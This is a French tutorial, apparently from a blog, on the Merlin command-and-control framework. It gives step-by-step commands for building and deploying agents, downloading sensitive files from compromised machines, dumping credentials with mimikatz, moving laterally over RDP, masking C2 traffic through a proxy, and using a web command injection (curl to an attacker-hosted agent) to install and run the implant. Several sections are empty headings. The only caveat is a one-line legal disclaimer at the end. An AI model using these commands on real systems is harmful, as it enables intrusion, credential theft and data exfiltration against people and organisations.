🕵️‍♂️ Merlin - Guide Ultime

Merlin est un framework Command and Control (C2) moderne, exploitant **HTTP/2** pour des communications furtives et rapides. Parfait pour les Red Teams militaires, il offre des fonctionnalités avancées d’exécution de commandes, de gestion d’agents, et de mouvements latéraux. Ce guide complet couvre toutes les étapes nécessaires pour en maîtriser l’utilisation. 🚀

1️⃣ Pré-requis

Avant de commencer, assurez-vous de disposer des éléments suivants :

2️⃣ Installation et Compilation

Étape 1 : Cloner le dépôt officiel

Téléchargez le projet Merlin directement depuis GitHub :

git clone https://github.com/Ne0nd0g/merlin.git

Accédez au répertoire :

cd merlin

Étape 2 : Compiler le Serveur et les Agents

Compilez le serveur et les agents avec les commandes suivantes :


go build -o merlinServer merlin.go
go build -o merlinAgent agents/http/http.go
            

Une fois la compilation terminée, vérifiez que les exécutables ont été générés :

ls | grep merlin

3️⃣ Configuration et Lancement

Étape 1 : Démarrer le serveur

Exécutez le serveur Merlin avec un certificat SSL/TLS :


./merlinServer -https -cert cert.pem -key key.pem
            

Options avancées :

Étape 2 : Générer un agent

Créez un agent personnalisé pour une cible :


./merlinAgent -url https://<Votre_IP>:443
            

Ajoutez des options pour réduire les risques de détection :

4️⃣ Fonctionnalités Avancées

Gestion des Agents

Une fois un agent connecté, utilisez les commandes suivantes :

Commandes de Post-Exploitation

Depuis une session interactive, Merlin propose un éventail de commandes :

5️⃣ Scénarios Pratiques Avancés pour Merlin

Scénario 1 : Prise de Contrôle d’un Système Compromis

Objectif : Déployer un agent sur un système cible, établir un accès distant, et exfiltrer un fichier sensible.

Étapes :

  1. Générez un agent pour la cible :
  2. 
    ./merlinAgent -url https://<Votre_IP>:443 -sleep 10
                    
  3. Transférez l’agent sur la machine cible (via une clé USB ou un script).
  4. Sur la cible, exécutez l’agent :
  5. ./merlinAgent
  6. Depuis le serveur Merlin, interagissez avec l’agent :
  7. 
    agents
    interact <Agent_ID>
                    
  8. Téléchargez un fichier sensible :
  9. download /path/to/sensitive_file.txt

Scénario 2 : Surveillance Réseau avec Capture de Paquets

Objectif : Capturer le trafic réseau sur une machine compromise et analyser les données pour identifier des cibles supplémentaires.

Étapes :

  1. Interagissez avec un agent connecté :
  2. 
    interact <Agent_ID>
                    
  3. Installez et configurez tcpdump sur la cible :
  4. 
    apt install tcpdump -y
    tcpdump -i eth0 -w /tmp/capture.pcap
                    
  5. Téléchargez le fichier capturé pour analyse :
  6. download /tmp/capture.pcap
  7. Analysez les paquets sur votre machine avec Wireshark :
  8. wireshark /path/to/capture.pcap

Scénario 3 : Propagation Latérale via RDP

Objectif : Exploiter les informations d’identification récupérées pour se propager à d’autres machines sur le réseau.

Étapes :

  1. Utilisez mimikatz pour extraire les identifiants sur la machine compromise :
  2. execute mimikatz "sekurlsa::logonpasswords"
  3. Identifiez une autre machine sur le réseau :
  4. 
    nmap -p 3389 <Target_Network>
                    
  5. Utilisez les identifiants pour vous connecter via RDP :
  6. 
    xfreerdp /u:<username> /p:<password> /v:<Target_IP>
                    
  7. Déployez un nouvel agent sur cette machine :
  8. 
    upload merlinAgent.exe
    execute merlinAgent.exe
                    

Scénario 4 : Évasion et Masquage du Trafic

Objectif : Configurer un proxy et masquer le trafic entre le serveur et les agents pour éviter la détection.

Étapes :

  1. Installez un proxy sur le serveur :
  2. 
    sudo apt install squid -y
                    
  3. Configurez Merlin pour utiliser le proxy :
  4. 
    ./merlinServer -https -cert cert.pem -key key.pem -proxy http://<proxy_IP>:3128
                    
  5. Modifiez les agents pour se connecter via le proxy :
  6. 
    ./merlinAgent -url https://<Votre_IP>:443 -proxy http://<proxy_IP>:3128
                    
  7. Vérifiez le masquage du trafic avec tcpdump :
  8. tcpdump -i eth0 port 3128

Scénario 5 : Exploitation des Failles d’Application

Objectif : Exploiter une application web vulnérable pour installer un agent Merlin.

Étapes :

  1. Identifiez une application web vulnérable via un scan :
  2. 
    nmap -p 80 --script vuln <Target_IP>
                    
  3. Exploitez une injection de commande pour téléverser un agent :
  4. 
    curl -X POST -d "cmd=curl -O http://<Your_IP>/merlinAgent" http://<Target_IP>/vulnerable.php
                    
  5. Activez l’agent sur la cible :
  6. 
    curl -X POST -d "cmd=chmod +x merlinAgent && ./merlinAgent" http://<Target_IP>/vulnerable.php
                    

Scénario 6 : Gestion Multi-Cibles et Campagnes à Grande Échelle

Objectif : Coordonner plusieurs agents sur différents réseaux pour une campagne synchronisée.

Étapes :

  1. Déployez des agents sur plusieurs machines :
  2. 
    upload merlinAgent.exe
    execute merlinAgent.exe
                    
  3. Sur le serveur Merlin, listez les agents connectés :
  4. agents
  5. Interagissez avec chaque agent pour exécuter des commandes synchronisées :
  6. 
    interact <Agent_ID>
    shell ipconfig
                    
  7. Exfiltrez les données importantes de chaque machine :
  8. download /path/to/data

6️⃣ Techniques d’Évasion et de Furtivité

⚠️ Avertissement : Merlin est un outil puissant destiné à des fins légales. Toute utilisation dans un cadre non autorisé constitue une infraction.